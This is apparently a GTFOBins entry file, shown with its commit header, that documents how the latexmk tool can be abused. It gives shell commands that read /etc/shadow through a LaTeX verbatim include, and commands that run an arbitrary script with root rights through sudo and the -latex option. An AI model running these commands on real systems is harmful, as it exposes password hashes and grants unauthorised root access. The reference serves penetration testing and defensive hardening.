GTFOBins.github.io/_gtfobins/latexmk.tex
SynackCerv ff22bbda93
Create latexmk.tex
Add latexmk.
2021-04-22 22:15:40 +02:00

12 lines
396 B
TeX

description: `latexmk` is a perl script.
functions:
file-read:
- code: |
echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
latexmk read.tex
strings read.dvi
sudo:
- code: |
echo "PROGRAM > /tmp/result.txt" > /tmp/run.sh
sudo latexmk -latex="/tmp/run.sh" file.tex